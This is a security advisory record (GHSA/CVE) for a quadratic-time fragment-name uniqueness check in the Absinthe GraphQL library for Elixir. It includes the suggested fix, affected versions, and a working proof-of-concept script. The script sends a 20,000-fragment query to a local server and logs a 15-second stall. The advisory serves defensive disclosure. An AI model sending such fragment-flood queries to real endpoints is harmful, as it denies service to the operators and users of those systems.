{"id":"GHSA-9mhv-8h52-q7q2","summary":"Absinthe: Quadratic fragment-name uniqueness check","details":"### Summary\nAn unauthenticated attacker can stall an Absinthe-backed GraphQL endpoint by submitting a query that contains many fragment definitions. The fragment-name uniqueness validation phase is O(N²) in the number of fragments, so a single modestly-sized request burns seconds of CPU per worker, and sustained traffic exhausts the worker pool (denial of service).\n\nIntroduced like with https://github.com/absinthe-graphql/absinthe/commit/0b46e3bcc06c0d3797bacd64761b908a84646c1d#diff-e540120c6a98cc1013be110d08e9d029511b9aabd26ad5f7f643c36834caac14\n\n### Details\n`Absinthe.Phase.Document.Validation.UniqueFragmentNames` (`lib/absinthe/phase/document/validation/unique_fragment_names.ex:14-40`) walks every fragment in `input.fragments` via `run/2`, calling `process/2` on each one. `process/2` then calls `duplicate?/2`, which evaluates `Enum.count(fragments, fn f -\u003e f.name == name end)` — a full linear scan of the fragment list — for every individual fragment. The result is `N · N` name comparisons per document.\n\n`input.fragments` is built directly from the GraphQL query text the caller sends at the head of the pipeline, so `N` is attacker-controlled. A minimum-size fragment definition (`fragment a on T{f}`) is roughly 16 bytes, so a ~1 MB document carries ~60 000 fragments and forces ~3.6 × 10⁹ comparisons inside this one phase. Phoenix's default 8 MB body limit allows substantially larger blow-ups if operators have not lowered it. Nothing in this module caps `N`.\n\nThe fix is to aggregate names once per call rather than re-scanning per fragment, e.g.:\n\n```elixir\ndups =\n  for {name, k} \u003c- Enum.frequencies_by(input.fragments, & &1.name),\n      k \u003e 1,\n      into: MapSet.new(),\n      do: name\n```\n\nand then check `MapSet.member?(dups, fragment.name)` inside `process/2`. That collapses the phase to O(N).\n\n### PoC\nA standalone script that builds a GraphQL document with a large number of minimal fragment definitions, feeds it through Absinthe's pipeline, and times the `UniqueFragmentNames` phase is attached at the end of this report. Running it shows the validation time growing quadratically with the fragment count.\n\n### Impact\nAlgorithmic complexity / denial-of-service. Any service that exposes an Absinthe GraphQL endpoint to untrusted callers is affected: a single unauthenticated POST containing many fragment definitions pins a worker process for seconds, and modest sustained traffic exhausts the request-handling pool. No authentication, schema knowledge, or special configuration is required — only the ability to send a GraphQL query large enough to contain many fragments, which is permitted by Phoenix's default body-size limit.\n\n## Scripts and Logs\n\n```elixir\n# Verifies: Quadratic fragment-name uniqueness check\n\nMix.install([\n  {:absinthe, \"~\u003e 1.7\"},\n  {:absinthe_plug, \"~\u003e 1.5\"},\n  {:bandit, \"~\u003e 1.0\"},\n  {:plug, \"~\u003e 1.15\"},\n  {:jason, \"~\u003e 1.4\"},\n  {:req, \"~\u003e 0.5\"}\n])\n\ndefmodule VictimSchema do\n  use Absinthe.Schema\n\n  object :thing do\n    field :f, :string\n  end\n\n  query do\n    field :thing, :thing do\n      resolve(fn _, _ -\u003e {:ok, %{f: \"x\"}} end)\n    end\n  end\nend\n\ndefmodule VictimRouter do\n  use Plug.Router\n\n  plug :match\n\n  plug Plug.Parsers,\n    parsers: [:json],\n    pass: [\"*/*\"],\n    json_decoder: Jason\n\n  plug :dispatch\n\n  forward \"/graphql\",\n    to: Absinthe.Plug,\n    init_opts: [schema: VictimSchema]\n\n  match _ do\n    send_resp(conn, 404, \"nope\")\n  end\nend\n\nport = 47817\n{:ok, _} = Bandit.start_link(plug: VictimRouter, port: port)\n\nn = 20_000\n\nfragments =\n  1..n\n  |\u003e Enum.map(fn i -\u003e \"fragment f#{i} on Thing{f}\" end)\n  |\u003e Enum.join(\" \")\n\nquery = \"{ thing { f } } \" \u003c\u003e fragments\n\nIO.puts(\n  \"Sending GraphQL document with #{n} fragment definitions (~#{div(byte_size(query), 1024)} KB) to 127.0.0.1:#{port}\"\n)\n\n{us, response} =\n  :timer.tc(fn -\u003e\n    Req.post!(\"http://127.0.0.1:#{port}/graphql\",\n      json: %{query: query},\n      receive_timeout: 600_000,\n      retry: false\n    )\n  end)\n\nms = div(us, 1000)\nIO.puts(\"HTTP response status: #{response.status}\")\nIO.puts(\"Total request elapsed (validation-dominated): #{ms} ms\")\n\nresult =\n  if ms \u003e 1000 do\n    \"VERIFIED: ~#{n} fragments in one unauthenticated request forced #{ms} ms of CPU in Absinthe's UniqueFragmentNames phase (quadratic check).\"\n  else\n    \"NOT VERIFIED: elapsed #{ms} ms below DoS threshold\"\n  end\n\nIO.puts(result)\n```\n\n\n### Logs\n\n```logs\nHTTP response status: 200\nTotal request elapsed (validation-dominated): 15451 ms\nVERIFIED: ~20000 fragments in one unauthenticated request forced 15451 ms of CPU in Absinthe's UniqueFragmentNames phase (quadratic check).\n```","aliases":["CVE-2026-43967","EEF-CVE-2026-43967"],"modified":"2026-05-14T13:23:19.154995Z","published":"2026-05-14T13:08:44Z","database_specific":{"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-05-14T13:08:44Z","nvd_published_at":"2026-05-08T16:16:12Z","cwe_ids":["CWE-407"]},"references":[{"type":"WEB","url":"https://github.com/absinthe-graphql/absinthe/security/advisories/GHSA-9mhv-8h52-q7q2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43967"},{"type":"WEB","url":"https://github.com/absinthe-graphql/absinthe/commit/223600c520493dcaf95080af552c413099f92c9d"},{"type":"WEB","url":"https://cna.erlef.org/cves/CVE-2026-43967.html"},{"type":"PACKAGE","url":"https://github.com/absinthe-graphql/absinthe"},{"type":"WEB","url":"https://osv.dev/vulnerability/EEF-CVE-2026-43967"}],"affected":[{"package":{"name":"absinthe","ecosystem":"Hex","purl":"pkg:hex/absinthe"},"ranges":[{"type":"SEMVER","events":[{"introduced":"1.2.0"},{"fixed":"1.10.2"}]}],"versions":["1.10.0","1.10.1","1.2.0","1.2.1","1.2.2","1.2.3","1.2.4","1.2.5","1.2.6","1.3.0","1.3.0-beta.0","1.3.0-beta.1","1.3.0-beta.2","1.3.0-rc.0","1.3.1","1.3.2","1.4.0","1.4.0-beta.1","1.4.0-beta.2","1.4.0-beta.3","1.4.0-beta.4","1.4.0-beta.5","1.4.0-rc.0","1.4.0-rc.1","1.4.0-rc.2","1.4.0-rc.3","1.4.1","1.4.10","1.4.11","1.4.12","1.4.13","1.4.14","1.4.15","1.4.16","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.4.9","1.5.0","1.5.0-alpha.0","1.5.0-alpha.1","1.5.0-alpha.2","1.5.0-alpha.3","1.5.0-alpha.4","1.5.0-beta.0","1.5.0-beta.1","1.5.0-beta.2","1.5.0-rc.0","1.5.0-rc.1","1.5.0-rc.2","1.5.0-rc.3","1.5.0-rc.4","1.5.0-rc.5","1.5.1","1.5.2","1.5.3","1.5.4","1.5.5","1.6.0","1.6.0-rc.0","1.6.0-rc.1","1.6.1","1.6.2","1.6.3","1.6.4","1.6.5","1.6.6","1.6.7","1.6.8","1.7.0","1.7.1","1.7.10","1.7.11","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.7.7","1.7.8","1.7.9","1.8.0","1.9.0","1.9.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-9mhv-8h52-q7q2/GHSA-9mhv-8h52-q7q2.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}]}